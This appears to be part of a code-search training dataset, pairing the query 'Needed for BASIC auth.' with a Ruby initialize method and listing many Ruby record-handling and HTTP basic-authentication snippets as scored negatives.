"def remove_record(record)\n atoms = condense_record(record)\n load_atoms(atoms)\n atoms.each do |a|\n @atoms[a].remove_record(record.id) if @atoms.has_key?(a)\n @records_size -= 1\n #p \"removing #{record.id} from #{a}\"\n end\n end",
"def << (record)\n raise \"Obj should be a Record\" unless record.class == Record\n @entries << record\n end",
"def insert_record_if_new(name, type, ttl, content)\n record = records_table.filter(:domain_id => domain.id, :name => name, :type => type, :content => content).first\n insert_record(name, type, ttl, content) unless record\n end",
"def call\n return if miss_recalculate_existed_records? && charge_records_by_usage_record_exist?\n\n # validate_usage_record!\n\n # context.billing_code_version = result.billing_code_version\n\n calculate_billing_units_digest!\n\n if previous_same_billing_record\n context.time_sequence_uid = previous_same_billing_record.time_sequence_uid\n else\n context.time_sequence_uid = generate_uid\n end\n\n save_charging!\n end",
"def push_record(record)\n params = TogglRecord.new(record, config).push\n record[:id]\n end",
"def attach_recording recording\n CatalogsRecordings.where(catalog_id: self.id, recording_id: recording.id)\n .first_or_create(catalog_id: self.id, recording_id: recording.id)\n end",
"def add_row_to_records(row, project_id)\n # Initialize\n @records = {} unless ! @records.nil?\n\n # If there's no date, we can't do anything with it\n return if row.start_date.nil?\n\n source = row.source_table_name\n country = normalize_country(row.country, row.currency_use)\n\n year = row.start_date.year\n month = row.start_date.month\n\n list_price = row.list_price_multiccy || 0.0\n\n ## Now the nasty code to search then initialize the aggregator storage\n if ! @records.has_key?(source)\n @records[source] = {}\n end\n\n if ! @records[source].has_key?(year)\n @records[source][year] = {}\n end\n\n if ! @records[source][year].has_key?(month)\n @records[source][year][month] = {}\n end\n\n if ! @records[source][year][month].has_key?(country)\n @records[source][year][month][country] = {}\n end\n\n if ! @records[source][year][month][country].has_key?(project_id)\n @records[source][year][month][country][project_id] = {}\n end\n\n if ! @records[source][year][month][country][project_id].has_key?(list_price)\n @records[source][year][month][country][project_id][list_price] = {}\n end\n\n if ! @records[source][year][month][country][project_id][list_price].has_key?(row.kdp_transaction_type)\n @records[source][year][month][country][project_id][list_price][row.kdp_transaction_type] = {}\n end\n\n if ! @records[source][year][month][country][project_id][list_price][row.kdp_transaction_type].has_key?(row.kdp_royalty_type)\n @records[source][year][month][country][project_id][list_price][row.kdp_transaction_type][row.kdp_royalty_type] = []\n end\n\n @records[source][year][month][country][project_id][list_price][row.kdp_transaction_type][row.kdp_royalty_type] << row\n end",
"def accumulate record\n end",
"def update_if_necessary(new_contact_record)\n matched = []\n updated_details = []\n self.first_name = new_contact_record.first_name\n self.last_name = new_contact_record.last_name\n \n new_contact_record.details.each do |ncd|\n details.each do |ocd|\n matched << [ocd,ncd] and break if ocd.matches?(ncd)\n end\n end\n # Update the matched records if necessary\n matched.each do |ocd,ncd|\n if not ocd.update_if_necessary(ncd).empty?\n updated_details << ocd\n end\n end\n # Also add the new contact details that we are adding\n # We need to dup to make sure we don't overwrite the original\n \n (new_contact_record.details - matched.column(1)).each do |ncd| \n self.details << ncd.dup\n updated_details << self.details.last\n end \n updated_details\n end",
"def add_transaction_detail_record(record)\n raise InvalidTypeError, \"Expected record of type TransactionDetailRecord\" unless record.is_a?(TransactionDetailRecord) \n @transaction_detail_records << record\n end",
"def pbWriteCsvRecord(record,file,schema)\r\n rec = (record.is_a?(Array)) ? record.clone : [record]\r\n for i in 0...schema[1].length\r\n chr = schema[1][i,1]\r\n file.write(\",\") if i>0\r\n if rec[i].nil?\r\n # do nothing\r\n elsif rec[i].is_a?(String)\r\n file.write(csvQuote(rec[i]))\r\n elsif rec[i].is_a?(Symbol)\r\n file.write(csvQuote(rec[i].to_s))\r\n elsif rec[i]==true\r\n file.write(\"true\")\r\n elsif rec[i]==false\r\n file.write(\"false\")\r\n elsif rec[i].is_a?(Numeric)\r\n case chr\r\n when \"e\", \"E\" # Enumerable\r\n enumer = schema[2+i]\r\n if enumer.is_a?(Array)\r\n file.write(enumer[rec[i]])\r\n elsif enumer.is_a?(Symbol) || enumer.is_a?(String)\r\n mod = Object.const_get(enumer.to_sym)\r\n file.write(getConstantName(mod,rec[i]))\r\n elsif enumer.is_a?(Module)\r\n file.write(getConstantName(enumer,rec[i]))\r\n elsif enumer.is_a?(Hash)\r\n for key in enumer.keys\r\n if enumer[key]==rec[i]\r\n file.write(key)\r\n break\r\n end\r\n end\r\n end\r\n when \"y\", \"Y\" # Enumerable or integer\r\n enumer = schema[2+i]\r\n if enumer.is_a?(Array)\r\n if enumer[rec[i]]!=nil\r\n file.write(enumer[rec[i]])\r\n else\r\n file.write(rec[i])\r\n end\r\n elsif enumer.is_a?(Symbol) || enumer.is_a?(String)\r\n mod = Object.const_get(enumer.to_sym)\r\n file.write(getConstantNameOrValue(mod,rec[i]))\r\n elsif enumer.is_a?(Module)\r\n file.write(getConstantNameOrValue(enumer,rec[i]))\r\n elsif enumer.is_a?(Hash)\r\n hasenum = false\r\n for key in enumer.keys\r\n if enumer[key]==rec[i]\r\n file.write(key)\r\n hasenum = true; break\r\n end\r\n end\r\n file.write(rec[i]) unless hasenum\r\n end\r\n else # Any other record type\r\n file.write(rec[i].inspect)\r\n end\r\n else\r\n file.write(rec[i].inspect)\r\n end\r\n end\r\n return record\r\n end",
"def record_modified\n i = 1\n render :update do |page| \n while params[\"rec#{i}\"]!=nil\n arate = params[\"rec#{i}\"][:aircraft_rate]\n hstart = params[\"rec#{i}\"][:hobbs_start]\n hend = params[\"rec#{i}\"][:hobbs_end]\n irate = params[\"rec#{i}\"][:instructor_rate] || 0\n if arate.nil? || arate=='' || hstart.nil? || hstart == '' || hend.nil? || hend=='' \n i=i+1\n next \n end \n charge = ((hend.to_f-hstart.to_f)%100) * (irate.to_f+arate.to_f)\n charge = (charge*100).round / 100.0\n page.send :record, \"$('charge_amount\"+i.to_s+\"').value='#{charge}'\" \n page.visual_effect :highlight , 'charge_amount'+i.to_s, {:restorecolor => \"'#ffffff'\"} \n i=i+1\n end\n end\n \nend",
"def create\n @record = Record.new(params[:record])\n record_set = RecordSet.find_by_id(params[:record][:record_set_id])\n @record.patient_id = record_set.patient_id\n\n respond_to do |format|\n if @record.save\n format.json { render :json => [ @record.to_jq_record ].to_json }\n format.html { render :json => [ @record.to_jq_record ].to_json }\n else\n format.json { render :json => [ @record.to_jq_record.merge({ :error => \"custom_failure\" }) ].to_json }\n end\n end\n end",
"def save_record\n if !saved_already?\n if valid?\n run_sql(\"INSERT INTO #{table} (#{string_field_names}) VALUES (#{stringify_self});\")\n @id = CONNECTION.last_insert_row_id\n else\n false\n end\n else\n update_record\n end\n end",
"def save_records\n return error_response unless is_save_records_request?\n if params[:changes]\n params[:changes].each_value do |changed|\n fields = changed.keys\n record = @record_class.find(changed[fields.delete('recid')])\n if record.present?\n fields.each do |field|\n table, column = get_table_and_column field\n obj = if table == @table_name\n record\n elsif record.respond_to?(table.to_sym)\n record.send(\"#{table}\")\n end\n obj.send(\"#{column}=\", changed[field]) if obj and obj.respond_to?(column.to_sym)\n end\n return error_response unless record.save\n end\n end\n end\n succes_response\n end",
"def verify_oldest_records\n log(:info, \"#{Time.now}: ***** Start Verifying Oldest Records *****\")\n current_deploy =\n if (`cat #{File.expand_path ''}/REVISION`).blank?\n 'None'\n else\n `cat #{File.expand_path ''}/REVISION`\n end\n bq_attributes.each do |model, attrs|\n # add any records to oldest_records that are new (Or more simply make sure that that there is a record using find_by_or_create)\n attrs.each do |attr|\n OldestRecord.find_or_create_by(table_name: model, attr: attr)\n end\n # delete any records that are not in bq_attributes\n OldestRecord.where(table_name: model).each do |record|\n record.destroy unless attrs.include?(record.attr.to_sym)\n end\n end\n update_revision = OldestRecord.find_or_create_by(table_name: '! revision !')\n update_revision.update(attr: current_deploy, archived: true)\n log(:info, \"#{Time.now}: ***** End Verifying Oldest Records *****\")\n end",
"def insert_record(record, validate = true, raise = false, &block)\n if raise\n record.save!(validate: validate, &block)\n else\n record.save(validate: validate, &block)\n end\n end",
"def append(model, data)\n data.group_by { |row| row[:record_id] }.each do |record_id, changes|\n @records << Record.new(model, record_id, changes.map { |c| c.slice(:column_name, :value, :changed_at)})\n end\n @length = nil\n self\n end",
"def enqueue(record)\n @queue << record.representation\n end",
"def remove_record(record)\n condensed_record = condense_record(record)\n atoms = add_occurences(condensed_record,record.id)\n\n @storage.remove(atoms)\n end",
"def remove_record(record)\n condensed_record = condense_record(record)\n atoms = add_occurences(condensed_record,record.id)\n\n @storage.remove(atoms)\n end",
"def create_or_update_record(hsh)\n\n hsh.merge!(config[:strong_default_attrs]) if config[:strong_default_attrs]\n @record ||= data_class.find(:first, :conditions => {data_class.primary_key => hsh.delete(data_class.primary_key)}) # only pick up the record specified in the params if it was not provided in the configuration\n success = true\n\n @record = data_class.new if @record.nil?\n\n hsh.each_pair do |k,v|\n @record.set_value_for_attribute(fields[k.to_sym].nil? ? {:name => k} : fields[k.to_sym], v)\n end\n\n #hsh.each_pair do |k,v|\n #begin\n #@record.send(\"#{k}=\",v)\n #rescue StandardError => exc\n #flash :error => exc.message\n #success = false\n #break\n #end\n #end\n\n # did we have complete success?\n success && @record.save\n end",
"def after_record(text_line)\n new_line = after_process(text_line)\n return new_line.nil? ? '' : pad_record(new_line)\n end",
"def write(record)\n @fh.write(MARC::Writer.encode(record))\n end",
"def insert(record, sync: true)\n record = klass.new(**record) if record.is_a?(Hash)\n row = record.to_row(header)\n ws.update_cells(*next_row_col, [row])\n ws.synchronize if sync\n record\n end",
"def verify_oldest_records\n log(:info, \"#{Time.now}: ***** Verifying Oldest Records *****\")\n\n revision_file_path = File.join(Dir.pwd, 'REVISION')\n current_deploy = File.exist?(revision_file_path) ? `cat #{revision_file_path}` : 'None'\n revision = OldestRecord.find_by_table_name('! revision !')\n\n log(:info, \"#{Time.now}: ***** Oldest Record Revision: #{revision.attr} *****\") if revision\n log(:info, \"#{Time.now}: ***** Current Deploy: #{current_deploy} *****\")\n\n return if revision && revision.attr == current_deploy\n\n @bq_attributes&.each do |k, v|\n # add any records to oldest_records that are new (Or more simply make sure that that there is a record using find_by_or_create)\n v.each do |bqa|\n OldestRecord.find_or_create_by(table_name: k, attr: bqa)\n end\n # delete any records that are not in bq_attributes\n OldestRecord.where(table_name: k).each do |rec|\n rec.destroy unless v.include?(rec.attr.to_sym)\n end\n end\n log(:info, \"#{Time.now}: ***** Updating Oldest Record Revision to #{current_deploy} *****\")\n OldestRecord.update_all(archived: false)\n update_revision = OldestRecord.find_or_create_by(table_name: '! revision !')\n update_revision.update(attr: current_deploy, archived: true)\n end",
"def insert_meta_data(zone_value, page, field_name, field_value, account_state, record_pointer, confidence)\n if field_name == \"date_of_service_from\"\n svc_from_date, svc_to_date = standardize_svc_dates field_value rescue nil\n record_pointer.update_attributes(:date_of_service_from => svc_from_date, :date_of_service_to => svc_to_date)\n elsif field_name == \"check_date\" or field_name == \"date_of_service_to\"\n date = datify field_value rescue nil\n record_pointer.update_attribute(\"#{field_name}\",\"#{date}\")\n else\n record_pointer.update_attribute(\"#{field_name}\",\"#{field_value}\") unless field_value == \"0.00\" or field_value == \"0.0\"\n end\n if field_name == \"patient_account_number\"\n record_pointer.image_page_no = page\n record_pointer.sub_job_id = @job.id\n end\n unless field_value == \"0.00\" or field_value == \"0.0\"\n field_ocr_output=field_name +\"_ocr_output\"\n field_data_origin=field_name +\"_data_origin\"\n field_number_page=field_name +\"_page\"\n field_number_coordinates=field_name +\"_coordinates\"\n field_number_state = field_name +\"_ocr_state\"\n field_number_confidence = field_name +\"_confidence\"\n record_pointer.details[field_ocr_output.to_sym] = field_value if field_value\n confidence_value = find_the_data_origin_of(account_state.to_s, confidence)\n record_pointer.details[field_data_origin.to_sym] = confidence_value\n record_pointer.details[field_number_page.to_sym] = page\n record_pointer.details[field_number_coordinates.to_sym] = zone_value\n record_pointer.details[field_number_state.to_sym] = account_state.to_s\n record_pointer.details[field_number_confidence.to_sym] = confidence.to_i\n end\n record_pointer.save(:validate => false)\n end",
"def append_record_to_messages(op, meta, header, record, msgs)\n case op\n when UPDATE_OP, UPSERT_OP\n if meta.has_key?(ID_FIELD)\n header[UPDATE_OP] = meta\n msgs << @dump_proc.call(header) << BODY_DELIMITER\n msgs << @dump_proc.call(update_body(record, op)) << BODY_DELIMITER\n return true\n end\n when CREATE_OP\n if meta.has_key?(ID_FIELD)\n header[CREATE_OP] = meta\n msgs << @dump_proc.call(header) << BODY_DELIMITER\n msgs << @dump_proc.call(record) << BODY_DELIMITER\n return true\n end\n when INDEX_OP\n header[INDEX_OP] = meta\n msgs << @dump_proc.call(header) << BODY_DELIMITER\n msgs << @dump_proc.call(record) << BODY_DELIMITER\n return true\n end\n return false\n end",
"def addRecords(recs); recs.each { |r| addRecord r } end",
"def cleanup(record)\n record.each do |k, v|\n begin\n v.to_json\n rescue JSON::GeneratorError => error\n record[k] = ''\n end\n end\n end",
"def set_record(id = nil, pid = nil)\n unless id.to_i > 0 && self.record = resource_model.includes(includes).find(id.to_i)\n self.record = resource_model.where((pid && where) ? where.call(pid) : {}).new\n self.record.attributes = create_attributes\n end\n end",
"def publish_record(record)\n subscribers = Hyperloop.redis_instance.hgetall(\"HRPS__#{record.class}__#{record.id}\")\n time_now = Time.now.to_f\n scrub_time = time_now - 24.hours.to_f\n\n message = {\n record_type: record.class.to_s,\n id: record.id,\n updated_at: record.updated_at\n }\n message[:destroyed] = true if record.destroyed?\n\n Rails.logger.debug \"&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&\"\n\n Rails.logger.debug \"========================================== SUBSCRIBERS ================ #{subscribers}\"\n Rails.logger.debug \"=========================================== SUBSCRIBERS SIZE =============== #{subscribers.size}\"\n\n\n # can only trigger to max 10 channels at once on pusher\n subscribers.each_slice(10) do |slice|\n Rails.logger.debug \"========================================================== EACH SLICE !\"\n Rails.logger.debug \"=============================================SLICE============= #{slice}\"\n Rails.logger.debug \"=============================================SLICE SIZE============= #{slice.size}\"\n channel_array = []\n slice.each do |session_id, last_requested|\n\n if last_requested.to_f < scrub_time\n Hyperloop.redis_instance.hdel(\"HRPS__#{record.class}__#{record.id}\", session_id)\n next\n end\n Rails.logger.debug \"========================================================== SESSION ID : #{session_id} !\"\n Rails.logger.debug \"========================================================== RECORD CLASS : #{record.class} !\"\n Rails.logger.debug \"========================================================== RECORD ID : #{record.id} !\"\n channel_array << \"hyper-record-update-channel-#{session_id}\"\n end\n Rails.logger.debug \"========================================================== CHANNEL ARRAY #{channel_array} !\"\n\n if channel_array.size > 0\n if Hyperloop.resource_transport == :pusher\n _pusher_client.trigger_async(channel_array, 'update', message)\n Rails.logger.debug \"========================================================== PUSHER #{channel_array} !\"\n\n elsif Hyperloop.resource_transport == :action_cable\n channel_array.each do |channel|\n Rails.logger.debug \"========================================================== BROADCAST #{channel} !\"\n\n ActionCable.server.broadcast(channel, message)\n end\n end\n end\n\n end\n Hyperloop.redis_instance.del(\"HRPS__#{record.class}__#{record.id}\") if record.destroyed?\n end",
"def create_record(record_type, zone_id, name, data, options = {})\n optional_tags= ''\n options.each { |option, value|\n case option\n when :ttl\n optional_tags+= \"<ttl type='integer'>#{value}</ttl>\"\n when :active\n optional_tags+= \"<active>#{value}</active>\"\n when :aux\n optional_tags+= \"<aux>#{value}</aux>\"\n end\n }\n\n request(\n :body => %Q{<?xml version=\"1.0\" encoding=\"UTF-8\"?><record><record_type>#{record_type}</record_type><zone_id type=\"integer\">#{zone_id}</zone_id><name>#{name}</name><data>#{data}</data>#{optional_tags}</record>},\n :expects => 201,\n :method => 'POST',\n :parser => Fog::Parsers::DNS::Slicehost::CreateRecord.new,\n :path => 'records.xml'\n )\n end",
"def process_end_of_record\n return if @non_tabular_record.empty?\n if @end_in_a_record\n @tabular_array << @non_tabular_record.tabulate(column_mappings) if @in_a_record\n else\n @non_tabular_record.not_a_record!\n end\n end",
"def create\n @time_record = TimeRecord.new(params[:time_record])\n @time_record.value = (@time_record.ended_at - @time_record.started_at) / 1.hour\n @time_record.recorded_on = @time_record.started_at.to_date\n\n respond_to do |format|\n if @time_record.save\n format.html { redirect_to time_records_path, notice: 'Time record was successfully created.' }\n format.json { render json: @time_record.to_json, status: :created, location: @time_record }\n else\n format.html { render action: \"new\" }\n format.json { render json: @time_record.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.56278914",
"0.5587419",
"0.55569816",
"0.5539045",
"0.54759395",
"0.5458649",
"0.5354007",
"0.5308939",
"0.5194794",
"0.519341",
"0.5172661",
"0.5169908",
"0.5164831",
"0.5113958",
"0.51138276",
"0.5112749",
"0.510494",
"0.510494",
"0.5060039",
"0.50281835",
"0.4986451",
"0.49760792",
"0.49645662",
"0.49450633",
"0.49444693",
"0.49444693",
"0.49343854",
"0.49290082",
"0.49229965",
"0.4919763",
"0.49121603",
"0.49003696",
"0.48926115",
"0.48904434",
"0.48353136",
"0.48255262",
"0.4824819",
"0.4821869",
"0.48213604",
"0.48147598",
"0.48147598",
"0.481452",
"0.48137954",
"0.4794064",
"0.47813994",
"0.4778119",
"0.4775115",
"0.4767676",
"0.47621834",
"0.4760806",
"0.47529027",
"0.47528115",
"0.4731176",
"0.47267395",
"0.47227088",
"0.4722138",
"0.47141388",
"0.47070542",
"0.47038352",
"0.47018102",
"0.46989223",
"0.4690042",
"0.46863198",
"0.46821517",
"0.46799716",
"0.46784535",
"0.46764278",
"0.46691167",
"0.46650058",
"0.46629983",
"0.46608046",
"0.4660156",
"0.46504965",
"0.46479648",
"0.46391082",
"0.46355394",
"0.46329442",
"0.4630281",
"0.461058",
"0.46010628",
"0.45971298",
"0.4594119",
"0.4583957",
"0.45784503",
"0.45717293",
"0.45717293",
"0.45642173",
"0.4563123",
"0.45623353",
"0.45593974",
"0.4558348",
"0.4552921",
"0.45370063",
"0.45346734",
"0.45346346",
"0.45274416",
"0.45272613",
"0.4526005",
"0.45189866",
"0.45185134"
] |
0.759342
|
0
|
Needed for BASIC auth.
|
def initialize(url=nil, app_token=nil, headers=nil, password=nil)
if not url.nil?
@url = url
end
if not headers.nil?
@headers = headers
end
if not app_token.nil?
@app_token = app_token
end
if not password.nil?
@password = password
#@password = Base64.decode64(@password_encoded)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def capable_plain_auth?; end",
"def http_auth?; end",
"def auth_param; end",
"def auth(value); end",
"def http_auth_login\n # FIXME: Implement\n end",
"def http_auth_hash; end",
"def valid_for_http_auth?; end",
"def basic_auth(opts); end",
"def process_auth\n return if username.empty? || password.empty?\n \"#{username}:#{password}\"\n end",
"def auth_scheme; end",
"def basic_auth(*args, &block); end",
"def capable_login_auth?; end",
"def auth_methods; end",
"def http_auth_header?; end",
"def host_authorization; end",
"def host_authorization; end",
"def auth\n end",
"def auth\n end",
"def authentication_type; end",
"def basic_auth(user, password, domain = T.unsafe(nil)); end",
"def require_http_auth\n if `hostname` =~ /soykaf|lanpartei/i \n if auth = APP_CONFIG['http_auth']\n authenticate_or_request_with_http_basic do |user_name, password|\n user_name == auth['name'] && password == auth['password']\n end \n end\n end\n end",
"def authenticate_with_http_basic\n nil\n end",
"def allowed_auth_methods; end",
"def auth\n {}\n end",
"def login_using_basic_auth\n @request.env['HTTP_AUTHENTICATION'] = ActionController::HttpAuthentication::Basic.encode_credntials(\"\", \"\")\nend",
"def authentication_hash=(_arg0); end",
"def authenticate\n authenticate_or_request_with_http_basic do |username, password|\n username == ENV['USERNAMEV'] && password == ENV['PASSWORDV'] \n end \n end",
"def host_authorization=(_arg0); end",
"def host_authorization=(_arg0); end",
"def capable_cram_md5_auth?; end",
"def basicauth_enabled?\n true\n end",
"def basic_authentication usr, pwd\n\t\t#str = Base64.encode64(\"#{usr}:#{pwd}\")\n\t\t#str = \"Basic #{str}\"\n \n\t\t#@request_headers[\"Authorization\"]= str\n @request_headers[\"Authorization\"]= 'Basic ' + [\"#{usr}:#{pwd}\"].pack('m').delete(\"\\r\\n\")\n\tend",
"def params_auth_hash; end",
"def basic_auth\n \"#{username}:#{access_token}\"\n end",
"def basic_auth\n authenticate_or_request_with_http_basic do |username, password|\n username == Rails.application.credentials.basic[:username] && \n password == Rails.application.credentials.basic[:password]\n end\n end",
"def get_auth_data \n auth_data = nil\n [\n 'REDIRECT_REDIRECT_X_HTTP_AUTHORIZATION',\n 'REDIRECT_X_HTTP_AUTHORIZATION',\n 'X-HTTP_AUTHORIZATION', \n 'HTTP_AUTHORIZATION'\n ].each do |key|\n if request.env.has_key?(key)\n auth_data = request.env[key].to_s.split\n break\n end\n end\n if auth_data && auth_data[0] == 'Basic' \n return Base64.decode64(auth_data[1]).split(':')[0..1] \n end \n end",
"def authentication_type=(_arg0); end",
"def authenticate\n @shoonga = authenticate_or_request_with_http_basic do |username, password|\n username == \"4vght\" && password == \"we8vds\"\n end\nend",
"def parse(www_authenticate); end",
"def authenticate\n authenticate_or_request_with_http_basic(\"Fun!\") do |username, password|\n username == ENV[\"FUN_ADMIN_USER\"] && password == ENV[\"FUN_ADMIN_PASS\"]\n end\n end",
"def http_authenticatable?; end",
"def authorization_mode; end",
"def authenticate()\n\tuser_env = @env[\"Authorization\"] || @env[\"HTTP_AUTHORIZATION\"]\n if user_env\n user = Base64.decode64(user_env[6,user_env.length-6])[/\\w+/]\n\t\treturn user\n else\n \treturn nil\n\tend\nend",
"def http_basic_authenticate\n authenticate_or_request_with_http_basic do |username, password|\n username == \"mustang\" && password == 'mustang' #\"must@ngs0undm3l0n\"\n end\n end",
"def auth\n cfg_get(:auth)\n end",
"def credentials(authorization, request); end",
"def capable_auth_types; end",
"def auth(user, password, domain = T.unsafe(nil)); end",
"def credentials; end",
"def credentials; end",
"def credentials; end",
"def credentials; end",
"def credentials; end",
"def Authentication\n call('', '')\n end",
"def process_basic_auth(auth)\n case auth\n when String\n self.username, self.password = auth.split(':', 2)\n when Hash\n self.username = auth[:username]\n self.password = auth[:password]\n end\n end",
"def basic_auth_header(username,password)\n auth_str = username.to_s + \":\" + password.to_s\n auth_str = \"Basic \" + Rex::Text.encode_base64(auth_str)\n end",
"def authenticate\n authenticate_or_request_with_http_basic(\"algo\") do |username, password|\n username == \"dupa\" && password == \"dupa\"\n end\n end",
"def raw_params(auth); end",
"def process_basic_auth(auth)\n case auth\n when String\n self.login, self.password = auth.split(':', 2)\n when Hash\n self.login = auth[:login]\n self.password = auth[:password]\n end\n end",
"def authenticate\n authenticate_or_request_with_http_basic do |user_name, password|\n # Change these to username and password required\n user_name == \"shitlister\" && password == \"letmein\"\n end\n end",
"def base_credential; end",
"def basic_auth(u, p)\n @auth = {:username => u, :password => p}\n end",
"def get_auth_data\n auth_key = @@http_auth_headers.detect { |h| request.env.has_key?(h) }\n auth_data = request.env[auth_key].to_s.split unless auth_key.blank?\n return auth_data && auth_data[0] == 'Basic' ? Base64.decode64(auth_data[1]).split(':')[0..1] : [nil, nil] \n end",
"def basic_auth\n {\n username: @username,\n password: @password\n }\n end",
"def authentication_method\n super\n end",
"def authenticate\n end",
"def basic_auth_string\n \"Basic \" + Base64.encode64(\"#{@admin_username}:#{@admin_password}\").rstrip\n end",
"def get_auth_data\n auth_key = @@http_auth_headers.find { |h| request.env.key?(h) }\n auth_data = request.env[auth_key].to_s.split unless auth_key.blank?\n auth_data && auth_data[0] == 'Basic' ? Base64.decode64(auth_data[1]).split(':')[0..1] : [nil, nil]\n end",
"def require_login\n qop = ''\n case @qop\n when QOP_AUTH\n qop = 'auth'\n when QOP_AUTHINT\n qop = 'auth-int'\n when QOP_AUTH | QOP_AUTHINT\n qop = 'auth,auth-int'\n end\n\n @response.add_header('WWW-Authenticate', \"Digest realm=\\\"#{@realm}\\\",qop=\\\"#{qop}\\\",nonce=\\\"#{@nonce}\\\",opaque=\\\"#{@opaque}\\\"\")\n @response.status = 401\n end",
"def authenticate\n authenticate_or_request_with_http_basic('Administration') do |username, password|\n username == 'igp' && password == 'ehkra!Q2w#e'\n end\n end",
"def auth\n cfg_get(:auth)\n end",
"def auth_store; end",
"def protected!\n return if from_bitbooks?\n headers['WWW-Authenticate'] = 'Basic realm=\"Restricted Area\"'\n halt 401, \"Not authorized\\n\"\nend",
"def auth_process\n\t\tif @auth_file.authorization.nil?\n \t\t\tmake_auth\n\t\telse\n\t\t\t@client.authorization = @auth_file.authorization\n\t\tend\n\tend",
"def web_auth\n\t\tauth ::UWeb\n\tend",
"def authenticate_user_with_basic_auth!\n @username, @password = ActionController::HttpAuthentication::Basic::user_name_and_password(request)\n\n request_http_basic_authentication(ENV[\"REALM\"], \"An Authentication object was not found in the SecurityContext\") if @username.blank? || @password.blank?\n end",
"def basic_auth_definitions\n {}\n end",
"def request_http_digest_authentication(realm = T.unsafe(nil), message = T.unsafe(nil)); end",
"def token_auth(*args, &block); end",
"def get_auth_data\n user, pass = nil, nil\n # extract authorisation credentials \n if request.env.has_key? 'X-HTTP_AUTHORIZATION' \n # try to get it where mod_rewrite might have put it \n authdata = request.env['X-HTTP_AUTHORIZATION'].to_s.split \n elsif request.env.has_key? 'HTTP_AUTHORIZATION' \n # this is the regular location \n authdata = request.env['HTTP_AUTHORIZATION'].to_s.split \n end \n \n # at the moment we only support basic authentication \n if authdata && authdata[0] == 'Basic' \n user, pass = Base64.decode64(authdata[1]).split(':')[0..1] \n end \n return [user, pass] \n end",
"def authorization_hash\n Base64.encode64(\"#{BASIC_AUTH.fetch(:username)}:#{BASIC_AUTH.fetch(:password)}\").strip\n end",
"def authenticate!\n # Do nothing yet\n end",
"def require_http_basic_auth\n if APP_CONFIG['perform_authentication']\n authenticate_or_request_with_http_basic do |login, password|\n login==APP_CONFIG['username'] and password == APP_CONFIG['password']\n end\n end\n end",
"def active_for_authentication?; end",
"def active_for_authentication?; end",
"def add_default_auth(user, password, domain = T.unsafe(nil)); end",
"def decode_credentials; end",
"def get_auth_data\n auth_key = @@http_auth_headers.detect { |h| request.env.has_key?(h) }\n auth_data = request.env[auth_key].to_s.split unless auth_key.blank?\n return auth_data && auth_data[0] == 'Basic' ? Base64.decode64(auth_data[1]).split(':')[0..1] : [nil, nil] \n end",
"def authenticate_name\n super\n end",
"def valid_for_params_auth?; end",
"def add_auth(uri, user, password, realm = T.unsafe(nil), domain = T.unsafe(nil)); end",
"def add_auth(uri, user, password, realm = T.unsafe(nil), domain = T.unsafe(nil)); end",
"def authenticate!\n error!(\"401 Unauthorized\", 401) unless check_auth_token \n end",
"def http_authenticate\n if Rails.env.staging?\n authenticate_or_request_with_http_basic do |username, password|\n (username == Brevidy::Application::HTTP_AUTH_USERNAME && password == Brevidy::Application::HTTP_AUTH_PASSWORD) ||\n (username == Brevidy::Application::HTTP_AUTH_ZEN_USERNAME && password == Brevidy::Application::HTTP_AUTH_ZEN_PASSWORD)\n end\n end\n end",
"def valid_for_authentication?; end",
"def valid_for_authentication?; end",
"def credential; end",
"def credential; end",
"def add_default_auth(user, pass, domain = T.unsafe(nil)); end",
"def authorized?\n @auth ||= Rack::Auth::Basic::Request.new(request.env)\n user = ENV[\"HTTP_USER\"]\n pass = ENV[\"HTTP_PASS\"]\n @auth.provided? && @auth.basic? && @auth.credentials && @auth.credentials == [user, pass]\n end",
"def login_from_basic_auth\nauthenticate_with_http_basic do |username, password|\nself.current_user = User.authenticate(username, password)\nend\nend"
] |
[
"0.78337425",
"0.7721335",
"0.745977",
"0.7459031",
"0.74567896",
"0.7366682",
"0.7279803",
"0.7267096",
"0.71507466",
"0.71216106",
"0.7110395",
"0.70317066",
"0.7026549",
"0.70234555",
"0.7010221",
"0.7010221",
"0.6999582",
"0.6999582",
"0.69384754",
"0.6929665",
"0.68664604",
"0.6812007",
"0.6799338",
"0.67853254",
"0.6747924",
"0.6726387",
"0.67069453",
"0.67028755",
"0.67028755",
"0.66943717",
"0.668731",
"0.66782606",
"0.6662451",
"0.666153",
"0.6658848",
"0.6646208",
"0.6645059",
"0.6624861",
"0.66158396",
"0.66156715",
"0.66034484",
"0.65701526",
"0.65606534",
"0.6558435",
"0.65569514",
"0.6547042",
"0.6546416",
"0.654428",
"0.65384376",
"0.65384376",
"0.65384376",
"0.65384376",
"0.65384376",
"0.6528859",
"0.65111256",
"0.6503493",
"0.65014434",
"0.649517",
"0.6485053",
"0.6477587",
"0.64643997",
"0.6457089",
"0.64532536",
"0.6431172",
"0.6426194",
"0.6425731",
"0.6395648",
"0.63852036",
"0.6384628",
"0.63773674",
"0.6369433",
"0.63686305",
"0.6360322",
"0.63599885",
"0.6352558",
"0.634802",
"0.6347966",
"0.6341935",
"0.63286734",
"0.63109577",
"0.6306478",
"0.6305609",
"0.6305311",
"0.63046193",
"0.63046193",
"0.6295304",
"0.6292676",
"0.62920415",
"0.6284348",
"0.62841123",
"0.6278995",
"0.6278995",
"0.6276127",
"0.6272972",
"0.62725765",
"0.62725765",
"0.627205",
"0.627205",
"0.62715787",
"0.6265644",
"0.62597823"
] |
0.0
|
-1
|
Fundamental REST API methods:
|
def POST(data=nil, headers=nil)
if not data.nil? #if request data passed in, use it.
@data = data
end
uri = URI(@url)
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
request = Net::HTTP::Post.new(uri.path)
request.body = @data
if @search_type == 'premium'
request['Authorization'] = "Bearer #{@app_token}"
else
request.basic_auth(@app_token, @password)
end
begin
response = http.request(request)
rescue
logger()
sleep 5
response = http.request(request) #try again
end
return response
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def rest_endpoint; end",
"def rest_end_point; end",
"def api; end",
"def api; end",
"def GET; end",
"def get; end",
"def rest_endpoint=(_arg0); end",
"def apis; end",
"def http; end",
"def rest_token_endpoint; end",
"def endpoint; end",
"def endpoint; end",
"def endpoint; end",
